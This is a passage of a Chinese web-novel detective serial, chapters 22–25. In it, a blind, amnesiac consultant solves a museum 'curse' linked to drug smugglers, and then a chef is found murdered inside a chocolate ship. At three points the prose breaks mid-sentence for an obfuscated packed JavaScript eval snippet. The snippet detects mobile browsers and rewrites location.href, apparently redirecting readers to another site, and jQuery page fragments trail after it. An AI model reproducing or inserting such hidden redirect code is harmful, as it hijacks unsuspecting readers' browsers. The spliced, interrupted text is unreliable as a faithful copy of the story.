“这个啊……”亚瑟挠挠头,“确实另有隐情啦,那些艺术品都收到二楼了,只有一楼大厅被租借了出去。” “什么隐情?”谢德似乎嗅到了加班的气息。 “是怪盗卡萨诺瓦啦,他送来邀请函,说是要盗走美术馆的东西。”亚瑟觉得自己也瞒不了多久,干脆全部交代了,“馆长就让人把东西全部都收到一起,每天都清点一遍,美术馆也暂停对外开放了。” “应该还有别的原因吧。”阿莉雅抱胸,“就算如此也不至于把场馆也租出去,只是几天的收入,还不至于窘迫到需要出租场地的地步,而且还是连谢德都没听过的甜点大赛。” “因为……美术馆被诅咒了。” 22. 永昼与黑夜之间·第一幕 “哈……诅咒啊。”谢德一幅难言的表情,“虽然我理解艺术家多少有些浪漫情怀,但是这个世界上可没有天堂和地狱,也没有魔法和诅咒。” “不是啊!我也不信这些东西!”亚瑟摆摆手,“如果不是我亲耳听过,我也不会相信什么被诅咒的雕塑。但是现实就是如此啊,除了诅咒也没有其他可能性了吧。” 阿莉雅把谢德塞到她手里的小番茄转交给兄长:“让你的脑子清醒一下吧。” “不不不阿莉雅,你听我说完就知道了。”亚瑟拒绝妹妹的投喂,“我是受到布谷鸟市市立美术馆馆长的邀请来这边参观的。他们这边最近新进了一批鸢尾花王国著名雕塑家哲耳斯的作品,我对他的作品很感兴趣。” “哲耳斯是百年难得一遇的天才,他不仅擅长人物塑像,更是场景雕塑的开创者。”亚瑟双眼亮晶晶的,说到他喜爱的事物时根本藏不住眼里的光。 “咳咳,亚瑟先生。”谢德觉得不能放任他这么讲下去,“麻烦说重点。” 亚瑟轻啧:“好吧,美术馆在那位大师的两个作品入馆后就接连发生奇怪又诡异的事情。在雕塑摆放进房间的当天,美术馆的灯突然灭了。” “是照明系统坏了吧。” “第二天,隔壁房间的水管炸裂。还好那个房间的艺术品都摆放在玻璃柜中,不然都要被水淹了。” “考虑到市立美术馆建造的时间,大概是水管老化的原因吧。” “……第三天,摆放在大门口的两盆绣球花出现在了二楼。” “可能是员工挪走的?或者是外来人员?” 亚瑟很无语:“你能不能不要打断我说话。话说这位病人,麻烦你回到自己的病房可以吗?” “啊,抱歉,下意识反应。”谢德保证自己接下来一定会闭嘴老实听,这才让亚瑟满意。 他继续说:“第四天,原本放在同一个房间相隔不远的雕塑被分开至房间的两端。” “什么雕塑?”阿莉雅好奇。 “就是那位哲耳斯大师的作品。分别是阿波罗正在低头写诗的《谱写光辉的乐诗》以及恩底弥翁在罂粟包围下入睡的《沉睡在夜色中》。顺带一提,这两座雕像原本所在的房间是馆长特意腾出来,为此还将房间改名为永昼与长夜之间。” 阿莉雅点头表示自己明白了,示意亚瑟继续。 “第五天,美术馆内所有关于鱼和鸟的画作都被翻到背面。这还是参观者们发现的,员工们因为阿波罗和恩底弥翁所在的房间浏览者众多,基本都忙着去维护那边的秩序了。” “第六天,周末正常闭馆,所以白天一直很平静。直到晚上,值班的警卫被人敲晕在值班室。是第二天交接的同事发现的。馆长让人检查了一遍,馆内没有任何损失。” “今天,也就是最后一天,因为美术馆的员工都害怕了,所以馆长先生打算自己值夜班看守。”亚瑟担忧叹气,“我不太放心那位先生一个人,所以今晚也打算跟过去看看。抱歉,小莉雅,哥哥晚上不能在医院陪你。” 阿莉雅摸着下巴思索:“唔……灯、水管、绣球花……光、水、植物。” “前面可能是恶作剧,到后面有人受伤就应该报警了吧。”谢德建议亚瑟立刻联系布谷鸟市警局。 “馆长先生在第五天,出现多幅画作被翻面这件事的时候就已经报警了。”亚瑟闭上眼摇头,“布谷鸟市警方也派人前去调查,但是没有发现异常,所以就暂时没再管了。” 直到今天,布谷鸟市的大多数警力都还放在调查列车爆炸一案上。除了善后,还要对后续和乌云市进行对杰拉德·特雷恩的联合调查。确实没有多余的精力去处理发生在美术馆的恶作剧。 “等等,不是说怪盗卡萨诺瓦发了预告函吗?”谢德想起之前亚瑟说过的话,“布谷鸟市的警局也不管这件事吗?” “预告函是在五天后。”亚瑟苦笑,“你应该最清楚才对,怪盗卡萨诺瓦很准时,而且‘从不伤人’,偷窃的东西也会在一段时间后自动出现在警局。所以警察们都觉得没什么关系,虽然会在当天派人去现场,但在那之前的事情他们都不会管的。” “说得也是。”尤其是卡萨诺瓦从不伤人这一原则还是被阿莉雅肯定过的。 “神说,要有光。”阿莉雅打了个响指,让病房内的两位男士摸不着头脑。 亚瑟问:“小莉雅,你是想到了什么吗?” “哼哼。”阿莉雅挺直腰板,“当然。” “奖励。”谢德熟练地从床头柜里摸出一颗糖果,“之后会补上的,可颂。” “我的衷告是——今晚任何人都不要去美术馆。”阿莉雅因为甜丝丝的糖果愉快地眯起眼睛,“第七日,因当休息。” “创世七日?”谢德迅速反应过来。 “没错。”阿莉雅缓慢点头,“第一日,分开了昼夜。第二日,创造了穹苍,称其为天。第三日,创造了陆地、海洋与植物。第四日,日与月出现。第五日,有了鱼和飞鸟。第六日,野兽、牲畜、昆虫……与人。第七日,神歇了祂一切创造的工。” “所以今天是那个人认为的‘圣日’。”舌尖勾住糖果翻了个面,阿莉雅开口,“不管对方把自己当作神,还是把谁看作神,只要没有人去美术馆就不会出问题。” 亚瑟无条件信任阿莉雅的推理:“但,馆长先生肯定是不会听劝的。就算这么告诉他,恐怕那位老先生也会觉得对方打算趁机进入美术馆偷取艺术品吧。” “肯定是内部人员啦。”阿莉雅摆手,“照明和水管都是只有内部人员才能清楚位置的,盆栽、雕塑还有画作的挪动需要充裕的时间,夜晚闭馆后空无一人的美术馆除了工作人员外还能有谁进去。不是值班人员自导自演就是内部人员共同合谋。” “好吧,我过会去劝劝馆长。不过,为什么要做出这种事呢?”亚瑟不解,“那些员工都是馆长一个个面试应聘的,我和他们也打过交道,都不像是能做出这种事情的人。” “人心很难揣测的,我对凶手的侧写也不是次次准确。”阿莉雅说得仿佛还记得以前的事情一样,“无论是推理还是社交,都不能靠固有的逻辑去理解对方。想要骗过一个近乎陌生的人,稍微演演戏说两句话就可以表现得完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194414|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全不像自己。” “如果劝不动馆长,记得去警局拉一个警察和你们一起,就说是怀疑有可疑分子会出没在美术馆里。”阿莉雅强调,“一整个晚上,最好都是一起行动。目前还不知道那群家伙的目的是什么,所以不要轻举妄动。” 亚瑟面色愁苦:“唉,只希望馆长先生能听进去。” 他忧愁地离开。劝说馆长和去警局寻找协助的警员这两件事相比,亚瑟觉得可能直接去找警员帮忙,再去联系馆长更方便。 送走亚瑟,阿莉雅仍然无法摆脱面对最后一颗小番茄的命运。 谢德劝她:“你就趁糖果还没化把小番茄吃掉吧。甜味应该能压住小番茄的味道。” 阿莉雅拒绝:“不要。这样做和同时吃下咸面包与甜面包有什么区别。难道谢德你可以接受在奶油面包上洒黑胡椒吗?” 想象了一下那个画面,谢德的脸扭曲了起来:“……不行,那简直是异端。” “没错,所以糖果和小番茄的搭配对我来说也是异端。”阿莉雅的话掷地有声,“最后一颗小番茄就交给你了,谢德!” 谢德还想挣扎一下:“但是,但是海盐加在奶油里就可以啊。阿莉雅你当时也吃得津津有味的。” “……”阿莉雅沉默。可恶,竟然还有这招,是她小看这家伙了。既然如此,那她也只能放大招了。 “那是之前的我,现在的阿莉雅不认可。”没错,就是失忆这招,哼哼,趁早认输吧。 “那就没办法了。”谢德端走盘子,“我去收拾盘子。” 一个小时后,谢德端着盘子进来,香甜的面包香气也顺着盘子飞到了阿莉雅身边。 “海盐奶油面包和面包卷。”他语气得意,“绝对不会让你说出‘异端’两个字。” 阿莉雅舔舔嘴唇,想要先吃奶油面包,却被谢德塞了面包卷。他说:“先吃面包卷。” 面包卷表面焦脆,凑近能闻见甜味。阿莉雅放心地咬下一口,下一秒差点喷出来。 “是……小番茄。”阿莉雅悲伤地嚼嚼,把嘴里的东西咽了下去。“你太卑鄙了。” 谢德耸肩:“但是是好吃的,对吧?” 虽然事实如此,但是阿莉雅不愿意承认。其实一开始也没吃出来番茄的味道,还是在察觉到形状大小和一颗小番茄差不多大的时候才反应过来的。 “今天特例,附带海盐奶油面包。”谢德哼着歌,“如果不是你只吃一个可颂会不满,我也会考虑做可颂的。” 阿莉雅生气,不想理他。 “啊,对了。十一月有个聚会是先前就定下的。”谢德翻开自己的记事本,“现在还打算去吗?” “是什么聚会?” “嗯——具体我也不清楚。好像是阿莉雅你的朋友发出的邀请。”谢德用笔尖点了点本子,“不过你当时说了‘那个讨厌的人也去’。” “谁?” “就是阿莉雅你的老师德雷森先生。”提起这个人,谢德也一阵心梗,“那位的行事作风非常……随意。”和阿莉雅比起来是有过之而无不及。该说不愧是师生吗…… 23. 永昼与黑夜之间·第二幕 听见身边悉悉索索的动静,阿莉雅叹气:“你可以安静一会儿吗?” 那细碎的声音猛地停下,一声轻笑溢出,“啊,抱歉抱歉,我只是在研究这里的铁锁。” “哦,原来也有怪盗卡萨诺瓦撬不开的锁啊。”阿莉雅撇嘴。 会变成这样,事情还要从亚瑟到医院看望阿莉雅的那天夜晚说起。 “巴里先生,请您再考虑一下吧。”亚瑟劝解,“从之前的事件来看,极有可能是美术馆的内部人员使坏。在不清楚对方的目的之前,还是不要以身试险吧。您这么大岁数了,这点小事还是交给我吧。” 馆长巴里先生用力将手杖砸地:“如果是内部人员,就更应该当场抓对方一个现行了!我倒要看看是哪个不听话的员工干出这种事!” 亚瑟无奈:“巴里先生,按照对方根据创世七日的故事行事来看,恐怕今天没人会来。” 巴里冷哼:“什么创世七日,谁会特意按照这个恶作剧。如果真的按照你说的,是休息日,我们不来看守,艺术品被盗这一责任该由谁来承担?” 被怼的哑口无言,亚瑟只能转头和小警员说:“抱歉,巴里先生最近因为美术馆的事脾气暴躁了不少。” 布谷鸟市的警察摆摆手:“没关系,我能理解的。”他的眼睛亮晶晶的,俨然是个刚进入警局没多久的实习警察,眼中的光亮还没被频繁的加班和熬夜轮班磨灭。 “那么,吉尔探员,今晚就拜托你和我们一起行动了。”亚瑟叹气。果然最终会变成这样。 吉尔探员颇有活力地应是。 三人走进美术馆时,在白天值守的警卫还没离开,他向馆长敬礼:“巴里先生,白天没有异常。” 巴里点头:“嗯,晚上我来值班,你直接回家吧。” 警卫露出一幅“得救了”的表情:“好的,拜托您了。” 看到这一幕,吉尔探员面带疑惑:“科洛桑先生,为什么……” “叫我亚瑟就好。”亚瑟压低声音,“我之前和你说过这周前六天都在美术馆发生了奇怪的事。直到今早发现有人受伤,所以美术馆的工作人员都人心惶惶,纷纷请假。这位警卫先生是馆长的远房亲戚,没办法推脱只能来这值班了。” 吉尔恍然大悟:“怪不得今早突然多了一则公告,说是为了应付怪盗卡萨诺瓦,所以美术馆要停业一段时间。其实也有这件事的影响吧。” 亚瑟点头:“是。如果只是怪盗可能也不用那么担忧。” “为什么这么说?亚瑟先生见过怪盗卡萨诺瓦吗?” “见过一次,不过我妹妹见的次数更多。”提起妹妹,亚瑟自豪道,“我妹妹可是警局的特聘顾问,每次都能先那个怪盗一步堵住他的退路哦!” “但是……”吉尔探员眼神闪烁,“我、我没听说过怪盗卡萨诺瓦落网的消息啊……” 亚瑟一哽:“这个,毕竟那个怪盗实在狡猾……”之后他又理直气壮道:“阿莉雅还是个小朋友,怎么可能打得过成年的怪盗。” “额……”吉尔探员眼神飘移,“我觉得不是那个问题。所以亚瑟先生是因为妹妹才觉得怪盗卡萨诺瓦不足为惧吗?” “虽然是怪盗,但是也会好好把东西还回来,也不会随便伤人。”亚瑟摸着下巴总结,“所以没什么好担心的吧。” 交谈时间到此为止,馆长巴里先生催着他们换上警卫的衣服:“既然在周末进了美术馆,就要以员工的身份来。” 等换完衣服,巴里先生又带他们往二楼的房间走:“哼,带你们去见见我们馆里新到的雕塑。”巴里先生认为,员工们突然搞鬼和这个新进的雕塑扯不开关系。 永昼与长夜之间,房间一分为二,一半是明亮的灯光,一般是昏暗的光线。格外契合房间的名字。 阿波罗的雕塑正立于明亮的打光下,他垂眸看向手中的纸笔,周边泛起音乐的波浪。 “哦哦,不愧是哲耳斯大师的作品。”亚瑟左看右看,喜欢得不得了,“这个波浪的起伏走向让人联想到音乐的波纹,天呐,这个发丝竟然是一根根精心雕刻出来的!” “咳咳,亚瑟。”巴里先生轻咳两声,话语间难免得意,“《沉睡在夜色中》也是不输这边的,你不去看看吗?” 亚瑟回头望去,昏暗的打光下,依稀可见一位美丽的少年正置身于罂粟花丛中,花朵似被风吹过,弯腰遮住他的双眼,徒留人遐想那幅绝美的容颜。 “艺术,这就是艺术啊!”亚瑟内心激动,“难怪卡萨诺瓦是以这座雕塑为目标!” 吉尔探员正连连点头赞同的脑袋一顿,他诧异地看向亚瑟:“亚瑟先生,您怎么知道怪盗卡萨诺瓦的目标是这座雕塑?” “哦这个啊。”巴里先生悠悠地拄着手杖向前两步,“你们警局分析完预告函后,我就把这事告诉亚瑟了。反正科洛桑家有人在警局工作,他迟早会知道的。” “不不,我的意思是,为什么说目标是这座雕塑?”吉尔探员慌忙解释,“我来得晚,只知道预告函的内容,但还不清楚怎么解开谜语。” “四日暮色沉,月吻十声痕,爱随梦沉去,予他以永恒。”亚瑟记性不错,把预告函的内容念了出来,“这难道说得不是恩底弥翁吗?” “可是梦和永恒也不一定代表恩底弥翁吧。”吉尔探员不解。 巴里先生摸着下巴:“哎呀,这个我没问过呢。” 亚瑟眨眨眼说:“是因为还有月和吻这两个元素吧。毕竟月神塞勒涅每晚都会来到凡间亲吻恩底弥翁。不过吉尔探员说得也有道理,或许怪盗卡萨诺瓦看中的是钻石也说不定。” “我们美术馆可没有钻石。”馆长巴里先生摇头,“而且为什么是钻石?” “嗯……直觉?毕竟说到永恒就让人想到钻石。”亚瑟笑笑,“参观到这里应该足够了?我们去值班室吧?” “所以,你打通讯过来就是为了问这件事吗?”阿莉雅面无表情,“就为了问邀请函的事?” 亚瑟的声音在通讯中变得滋滋啦啦:“哎呀,毕竟我也很好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199850|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的推理是否正确。” “那不叫做推理。”阿莉雅纠正,“虽然是直觉,但你的想法也是有道理的。我认为这个谜语的指代性十分模糊,怪盗卡萨诺瓦以前也是这种风格吗?” 谢德不在身边,他因为过于活跃导致伤口崩裂,现在被医生护士们围成一圈,不允许他随便离开病床。 阿莉雅不记得以前的事,只能问兄长是否清楚怪盗卡萨诺瓦的事。 “我印象中并没有。”亚瑟的声音皱皱巴巴的,“他的预告函虽然一向奇怪,但基本都能推出来结论。” 和阿莉雅想得差不多,怪盗卡萨诺瓦的风格应该和杰拉德·特雷恩伪造的预告函差不多。而且一定会强调自己的名号。 “现在被伪造的预告函还真多啊。”阿莉雅感叹,“这封恐怕也是伪造的。啊,对了,关于美术馆的恶作剧我有点头绪了,过会见。” 通讯被‘啪’地切断,亚瑟愣住:过会见是什么意思? 吉尔探员打了个哈欠凑过来问:“亚瑟先生,阿莉雅小姐怎么说?” “哦、哦哦,她说这恐怕又是一封伪造的预告函。”亚瑟挠挠脸颊,“小莉雅不会要过来吧,但她现在的状况……” “阿莉雅小姐怎么了?”吉尔探员追问,发觉自己的反应有些过度,又不好意思地解释,“啊,因为我是阿莉雅小姐的粉丝……” “啊,没事。”亚瑟不在意地拍拍他的肩,“阿莉雅追查案件发生了些意外,所以失忆失明了。你不用这幅表情,她自己对这件事都不怎么在意。只要和她正常相处就好,过于小心翼翼只会让她别扭。” 即使知道妹妹不记得和自己经历的一切,亚瑟·科洛桑也努力用平常的相处模式和阿莉雅交流。阿莉雅内心敏感,用易碎品的态度对她,只会让她无法判断出以往的相处方式,找不到合适的应对方案而困扰。 他是这样,谢德·道格也是如此。 “她很聪明的。”亚瑟为此自豪,“不要把她当作玻璃娃娃。而且阿莉雅有不满会立刻发泄的。” 吉尔探员眨眨眼点头:“好的,但是馆长先生去哪了?” “诶?”亚瑟慌张转头找人,“巴里先生?巴里先生?” 吉尔打开门往走廊看去:“我们只聊了一两分钟,巴里先生应该还没走远。”说着,他率先跑了出去,“我去找他!” “等等!”亚瑟还记得阿莉雅让他们一起行动的事,可探员早就跑得没影了。 亚瑟也只能提起灯,往值班室外走去,把屋外的两人找回来。 天黑后,美术馆的照明系统全部暗下,一望无际的黑暗里唯有亚瑟手中的提灯能够提供安全感。 脚步声和指针行走的声音让亚瑟心跳如鼓——他的胆子是全家最小的。 “哒——哒——”规律且稳定的脚步声让亚瑟逐渐安心,直到声音突然杂乱且无序,像是中间加入了一个三条腿行走的怪物跟在他的身后—— 亚瑟猛地回头。 “你在做什么?” 24. 永昼与黑夜之间·第三幕 “你在做什么?” 阿莉雅歪头不解。 亚瑟忽然安心下来,直接把妹妹当成大型玩偶抱住:“原来是小莉雅啊……不对,你怎么在这?你是怎么进来的?” 阿莉雅用手中的黑伞敲了敲地板,发出清脆的“哒哒”声:“我让布谷鸟市的警察送我过来的,他们帮忙开的锁。” “我拜托警察调查了美术馆,发现一个月前有名员工失足落水而亡。”阿莉雅因为双腿腾空不满地踢了亚瑟一脚,“联想到美术馆的恶作剧,我怀疑和这件事有关。” 亚瑟把妹妹放下,牵着她的手往前走:“我正在找馆长巴里先生和警察吉尔探员,巴里先生在我和吉尔说话的时候不见了。吉尔先生为了找他也跑出了值班室,所以我出来找他们两人。” “不用担心,还有其他警察也来了,估计他们已经摸到照明系统的位置,一会儿灯就亮了。”下一秒,头顶的灯光唰得亮起。 “其他警察?” “嗯,布谷鸟市的警察之前就调查过那名逝世的员工,所以我问的时候就顺便把资料告诉我了。员工罗斯·格林,男,三十二岁,家住在马尼区。” “马尼区……那不是布谷鸟市的别墅区吗?”亚瑟知道阿莉雅从不说废话,所以迅速抓住了重点,“美术馆的工资可撑不起那样的生活。” “嗯,警察们也这么想,不过他们在床垫里发现了大捆的钞票,还在顺着钞票的编号往上查。” “所以,这名员工和恶作剧有什么关系?” “很多人会打着交易艺术品的幌子贩卖毒品。”阿莉雅冷哼,“这名员工恐怕就是走私团伙的一员,将毒品藏于艺术品中逃过检验。美术馆的恶作剧是因为他的同伙还没获知他死亡的消息,以为正常交易,却没能在原定的地点找到东西。只好按照以前的暗号,把曾经放过毒品的位置都翻了一遍。” “水管爆炸和灯光是意外,盆栽被挪和画像这些都是他的同伙为了提醒,也可能是警告,快点把东西交出来。” “和创世七日无关啊。”亚瑟很意外。 阿莉雅摇头:“他们的暗号就是按照创世七日创立的,警方有在罗斯·格林的家里找到相关的资料,上面有很多记号。我还没来得及去破解,因为今天是最后一天,所以我先来这里看看。” “按照创世七日的暗号,今天也应该是圣日吧,他们不休息?” “不,天地万物都造齐了,祂歇了一切的工,安息了。”阿莉雅的黑伞指向前方,“所以最后一个地点是馆长办公室。” “小莉雅,那边是出口哦。” “……”阿莉雅当作什么没有发生般放下了黑伞,“在这个美术馆里,馆长先生掌控着一切,所以罗斯·格林将他等同于‘神’的职位,‘神’要歇息,只可能回到自己的办公室。” 赶到办公室时,门口已经有两名警察了,他们面色严峻,让亚瑟有不好的预感。 嗅到铁锈的味道,阿莉雅的表情一顿:“还是来迟了吗……” “巴里先生——” “吵死了!”门内传来巴里先生充满活力的生意,“嚷什么嚷,老头子我还没死呢!” 亚瑟悲伤的表情卡住:“诶?” 旁边的警察解释:“巴里先生比我们先行赶到,他举着手杖就和走私犯进行了搏斗,过程中一个没注意摔伤了鼻子。现在正在止血,走私犯我们已经往局里押送了。” “阿莉雅小姐,我们没在办公室内发现毒品痕迹。”一名监识人员从里面走出来报告,“馆长先生在刚才同意我们检查馆内艺术品了。” “好的,那就辛苦你们检查了。”阿莉雅点头。 “喂,阿莉雅,你早就知道了?” “嗯——”阿莉雅苦恼地皱眉,“是没有察觉到警察逮捕走私犯要潜伏在美术馆里的亚瑟不对吧,如果开灯还怎么抓走私犯呢?”亮灯当然是在一切结束后啦。 好在亚瑟不会和妹妹生气,他顶多揉捏两下阿莉雅的脸作为报复。 “说起来,那幅预告函又是怎么一回事呢?”亚瑟突然想到怪盗卡萨诺瓦的事。 “嗯——时间推定是下周四的晚上十点没错。‘四日暮色沉,月吻十声痕’这句很明显了,只不过后面那句我还没想明白。” “阿莉雅也不明白吗?”亚瑟摸着下巴提议,“要不要打通讯问妈妈?” 科洛桑家中,最聪明的就是妈妈吉娜·科洛桑了。 “……”阿莉雅用沉默抗拒。倒不是因为失忆不知道怎么面对那位母亲,而是她不想因为解决不了难题去求助家长。 “好、好,那我不问了。”才怪。亚瑟在心里吐舌。他不仅要偷偷问妈妈,还要去问夏洛特。在阿莉雅想不明白的时候,悄悄提示,收获崇拜的目光。 “那位吉尔探员去哪了?”阿莉雅转移话题。 亚瑟也正觉奇怪:“不知道,没看见他。” “呼——呼——我在这里。”吉尔喘着气跑了过来,“亚瑟先生,我刚刚听警局的大家说了,巴里先生没事吧?” “他没事。对了阿莉雅,这位吉尔探员是你的粉丝哦。”亚瑟向妹妹介绍和自己短暂同行的搭档。 “你好。”阿莉雅点头问好。 亚瑟的眼睛转了转,拉着阿莉雅的手让两人握手问好:“不要这么拘谨嘛,你也该多认识认识新的男孩子了。”远离黑心杜宾和笑里藏刀萨摩耶。 阿莉雅无所谓地伸手,却在对方搭上手的那刻用力地眨了一下眼睛。她顺着对方的手臂向上,摸到了吉尔探员的脸。 “诶?”亚瑟呆愣在原地。 皱着眉把面前人的脸摸了一遍,阿莉雅若有所思:“原来是真的脸啊。” “等等,小莉雅,你这招是跟谁学的?”亚瑟大感不妙,自己的妹妹突然对着一个陌生男性耍流氓,“是那个黑心杜宾还是笑里藏刀的萨摩耶?” “听不懂你在说什么。”阿莉雅堵住耳朵无视亚瑟的一连串问题,却暗自奇怪,“唔……手上的茧……不对,但是……” 吉尔探员用稍凉的手背给自己红透的脸颊降温:“咳、那个,如果两位没有其他事情的话,我送你们回去吧。” “那就拜托你了。”阿莉雅爽快答应。 美术馆的事情暂时告一段落,亚瑟和阿莉雅兄妹俩再次来到这座美术馆已是周四。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221214|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “甜点比赛!”阿莉雅坐在等待席上开心地晃晃脑袋,“会有可颂吗?” 亚瑟低头看着宣传单:“嗯——有!今天黑心……咳,我是说,谢德·道格不在,我们吃个过瘾吧!” 阿莉雅举起拳头应和:“吃个过瘾!” 没错,阿莉雅的助手先生现在被列为重点观察对象,医生和护士们时时刻刻盯着他,防止那家伙又仗着自己身体素质不错还不怕痛这点到处乱跑。医生下令:所有人,都给我看好他! 隔壁的音乐会当然没有这边的甜点比赛要吸引科洛桑兄妹。以可颂为姓氏的家族,偏爱甜点不是很正常吗? 美术馆由于走私毒品的余波,目前还不能正常营业。但场地早已租借出去,好在有警局在中间协调,最后以馆外的入口广场为甜点大赛的活动地。 更加宽敞的广场让主办方很是满意。 “不过,竟然还有谢德不知道的甜点比赛,真是难得。”亚瑟确认宣传单里没有道格的姓氏,“他的弟弟妹妹也没有参加。” “小范围宣传的比赛吧,比如仅在布谷鸟市限定的比赛。位于齿轮市的面包店不知道也很正常。”阿莉雅捂着嘴打了个哈欠。 “原来你知道啊,谢德告诉你的?” “不是。我和他见面的第一天,他就现烤了面包。而且他身上总有股甜甜的面包香气,比医院的消毒水味还浓。”阿莉雅的鼻尖轻动,“除了长期生活在烘烤面包的环境下,我是想不到还有其他可能了。再加上他说我的事务所楼下是家面包店,我就猜到了。” 一般来说不会特意声明工作地点的楼下有什么,除非那里是标志性建筑又或者有特别的含义。 “雇佣住在楼下的人工作,嗯,很有我的风格。”阿莉雅点头。 “啊,开始了。”亚瑟眼尖地看见主持人走上了舞台。 “抱歉,由于特殊情况,我们需要延迟三十分钟,请大家谅解。” 舞台下传来一阵骚动,阿莉雅站了起来:“我们去找巴里先生问问情况。” 馆长巴里先生今日也在比赛现场,他身为场地提供者也受邀担任比赛的评委,也有美术馆员工来这里蹭吃蹭喝。 “巴里先生,发生什么事了?”亚瑟远远便看见巴里先生和一群工作人员正围在一起讨论。 “哦,是亚瑟和妹妹啊。”巴里先生想到现状不由得哀叹,“负责展示开幕甜品的主厨□□不见了,我们正在想解决办法。” “会不会是去上厕所了?”亚瑟提出可能。 巴里先生摇头:“不不,今天九点的时候他就说要离开一下,现在已经十点,过去一个小时了。” 阿莉雅:“美术馆里找了吗?” “正在找。”巴里先生感到头疼,“或许真的是哲耳斯的作品带来的诅咒吧,我总觉得这段时间美术馆就一直没有消停过。” “警察们还在吗?”亚瑟提议,“让他们一起帮忙找吧。” “警察昨天就离开了,他们可是很忙的。在发现这里没有线索后,自然——” “巴、巴里先生!”一名美术馆的员工慌慌张张地跑来,他的面色苍白,声音颤抖不止,“出、出事了!” 25. 永昼与黑夜之间·第四幕 “冷静点,出什么事了?”馆长巴里回头确认参加活动的群众是否发现这边的异常,好在大家都把心思放在了甜点比赛上。 “是,是□□先生。”员工连忙抹掉脑门上的冷汗,“巧克力,巧克力里有□□先生!总之,请您跟我来!” 员工的话混乱令人毫无头绪,但在几人到达现场后完全能够理解他的话了。 “这还真是……巧克力里有□□先生啊……”亚瑟轻叹,随后他询问,“报警了吗?” “是的,已经通知警方了。”员工紧张地回应。 巧克力的香甜气息也无法挡住那股浓郁的血腥味。阿莉雅鼻尖微耸:“血腥味和巧克力的味道挨得很近。” 正如她所说,厨师□□先生正半躺于一座巧克力制成的帆船中,他的上半身靠在帆船的桅杆,心口处插着一把小刀,似乎是厨具,血液早已干涸,下半身被折在帆船内部。不知是原本就有一破洞还是后来新增,总之这位巧克力帆船的制作者,此刻,只能观察他上半身的情况。 “先拍照记录情况吧。”亚瑟无奈地从随身的包里掏出相机。原本是为了拍下各式各样甜点而准备的相机,此刻却在现场取证上派上了用场。 阿莉雅拄着雨伞——她最近发现雨伞完全可以替代导盲杖,自己默默地退到了一边。万一因为自己随便乱走破坏了可能存在的证据就不好了。 等到亚瑟取证的工作完成得差不多时,布谷鸟市的警察也驱车赶到。 “亚瑟先生!阿莉雅小姐!”吉尔探员见到熟人很是激动,但在带队警探的严厉眼神下,慢慢地把脑袋缩了回去。 “多谢您,亚瑟先生。”警探捧着相片感谢,“有熟悉警方工作的人帮忙对我们来说真是减轻了不少工作量。”他的话语里难掩疲惫。 “你们最近也不容易啊。”亚瑟瞄见警探眼下的青黑,“走私案的进展如何?” 提起走私案的事,警探就难免一肚子怨气:“别提了,我们好不容易审出来点东西,结果刚出动去抓人,就有人报案发现了尸体,死的正好是我们要抓的那个。线索就这么断了。” “现场情况如何?” “前天不是下了一场雨吗?雨水把线索全都……”警探说着说着发现和自己交谈的是金发少女,“阿莉雅小姐,您要来帮忙吗?” 前些天爆炸案的后续处理以及走私案都是这位警探负责交接的,虽然有些惊讶于那名齿轮市的警局顾问小姐竟然遭遇了意外而失明失忆,但也无法改变这位阿莉雅小姐实实在在地为他们提供了帮助。 “嗯……看情况。”阿莉雅摸着下巴答,“毕竟我下个月要回齿轮市做检查,如果案件调查的进展过久可能会耽误我的治疗。” 亚瑟简单说明了下情况:“齿轮市的安德森医生似乎能够治疗阿莉雅的眼睛。” 警探忙点头:“当然当然,眼睛复明当然是首要的。”那可是顾问小姐用来寻找线索、审视犯人的珍贵眼睛啊! 阿莉雅摊手:“也没有说能够保证复明,不过我最近有在思考让我也能清楚案发现场状况的方法。” 因为阿莉雅的话,亚瑟皱眉,但很快他就舒展了眉毛——阿莉雅过来问他有没有什么发现。 “巧克力帆船的破洞是□□先生特意做的。船洞下的碎片看似破碎的厉害,但是那不像是重击造成的,而是用刀或者道具切割后再掰碎的。”亚瑟回忆起拍照时的小细节,“还有,□□先生的腿似乎被暴力折断了。他的脚背几乎紧贴着脚腕,大概是因为帆船内部的空间不足,所以特意这么处理的。” “奇怪。”阿莉雅摸着下巴有些困惑,“对□□先生存在恨意,但又十分尊重作品没有破坏结构。那特意把他的尸体摆进帆船里的意义是什么?” 吉尔探员在这个时候悄悄凑了过来:“也有人会这样想:虽然你这个人很讨厌,但你的作品相当优秀。” “还差一点。”阿莉雅觉得还是不太对,“真的会有人在喜欢作品的情况下,破坏这个作品问世的机会吗?这座帆船在□□先生的尸体出现在上面后,唯一的命运就是成为证物摆放在证物室里。” 